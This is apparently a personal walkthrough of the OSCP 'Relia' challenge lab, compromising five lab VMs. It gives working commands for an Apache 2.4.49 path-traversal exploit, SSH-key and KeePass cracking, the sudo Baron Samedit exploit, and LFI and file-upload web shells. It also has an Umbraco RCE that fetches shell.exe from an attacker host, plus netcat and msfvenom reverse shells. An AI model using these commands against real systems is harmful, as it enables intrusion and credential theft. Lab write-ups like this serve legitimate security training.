Challenge 2 (Relia) — OSCP Challenge Lab (192.168.194.245)

Multi-VM OSCP-style challenge lab (RELIA). Foothold on the web tier chains across five hosts.

#offsec / oscp#offsec#walkthrough#boxes#os:windows#os:linux#tech:lfi#tech:rce#tech:file-upload#tech:cve#tech:password-attack#tech:suid

Challenge 2 (Relia) — OSCP Challenge Lab (192.168.194.245)

Multi-VM OSCP-style challenge lab (RELIA). Foothold on the web tier chains across five hosts.

VM-10 (192.168.194.245)

🐺 howlsec@kalishell

$21/tcp   open  ftp      vsftpd (anonymous allowed)
$80/443   open  http     Apache 2.4.49 (Unix) mod_wsgi/4.9.4 Python/3.8 - "RELIA Corp."
$2222/tcp open  ssh      OpenSSH 8.2p1 Ubuntu
$8000/tcp open  http     Apache 2.4.49

Apache 2.4.49 is vulnerable to path traversal + RCE (CVE-2021-41773):

🐺 howlsec@kalishell

$curl -s --path-as-is -d "echo Content-Type: text/plain;" "http://192.168.194.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
$# users: offsec, miranda, steven, mark, anita, ...
$# Read anita's SSH key:
$curl ... "/home/anita/.ssh/id_ecdsa"
$ssh2john id_ecdsa > key.hash
$john --wordlist=rockyou.txt key.hash   # passphrase: fireball
$ssh -i id_ecdsa anita@192.168.194.245 -p 2222

Privesc: sudo 1.8.31 (Baron Samedit, CVE-2021-3156):

🐺 howlsec@kalishell

$# worawit/CVE-2021-3156 exploit_nss.py -> root
$python3 exploit_nss.py

VM-11 (192.168.244.246)

80/443 "Code Validation", 2222 ssh. anita's key (fireball) is reused. An internal service listens on 127.0.0.1:8000 (ss -antp):

🐺 howlsec@kalishell

$ssh -L 8081:127.0.0.1:8000 anita@192.168.194.246 -i id_ecdsa -p 2222
$# Path traversal in the backend app:
$http://127.0.0.1:8081/backend/?view=../../../../../../../../etc/passwd
$# Find a www-data-writable dir, drop a PHP reverse shell, trigger via traversal
$find / -type d \( -user www-data -or -group www-data -or -perm -o+w \) 2>/dev/null
$cp rev_shell.php /var/crash
$http://127.0.0.1:8081/backend/?view=../../../../../../../var/crash/rev_shell.php
$sudo -l ; sudo su    # -> root

VM-12 / WEB02 (192.168.244.247)

80/443 PHP "RELIA New Hire", 3389 RDP, 14020 FileZilla FTP (anonymous -> umbraco.pdf), 14080 Umbraco. Umbraco authenticated RCE (exploit-db 49488):

🐺 howlsec@kalishell

$python 49488.py -u "mark@relia.com" -p "OathDeeplyReprieve91" -i "http://web02.relia.com:14080/" -c powershell.exe -a "curl http://<IP>/shell.exe -o C:\Windows\Tasks\shell.exe"
$python 49488.py ... -a "C:\Windows\Tasks\shell.exe"
$# Privesc: GodPotato
$.\GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe <IP> 443"

VM-13 (192.168.244.248)

🐺 howlsec@kalishell

$smbclient //192.168.244.248/transfer   # recurse; mget * -> KeePass Database.kdbx
$keepass2john 'Database.kdbx' > db.hash
$john db.hash --wordlist=rockyou.txt
$xfreerdp3 /u:emma /p:SomersetVinyl1! /v:192.168.244.248 /drive:/home/kali/ /dynamic-resolution
$# PrivescCheck.ps1 (itm4n) -> mark password in env vars: !8@aBRBYdb3!
$xfreerdp3 /v:192.168.244.248 /u:mark /p:'!8@aBRBYdb3!' ...

VM-14 / LEGACY (192.168.196.249)

80 IIS, 8000 XAMPP (Apache PHP), 3389 RDP. CMS file manager with admin:admin:

🐺 howlsec@kalishell

$http://192.168.196.249:8000/cms/admin.php?mode=filemanager   # upload shell.pHp
$http://192.168.196.249:8000/cms/media/shell.pHp              # trigger
$msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f exe -o shell.exe
$# Privesc: transfer nc + GodPotato. Also enumerate a leaked .git repo:
$cat ~/.git/config ; git log ; git restore . ; git show   # recover creds for other VMs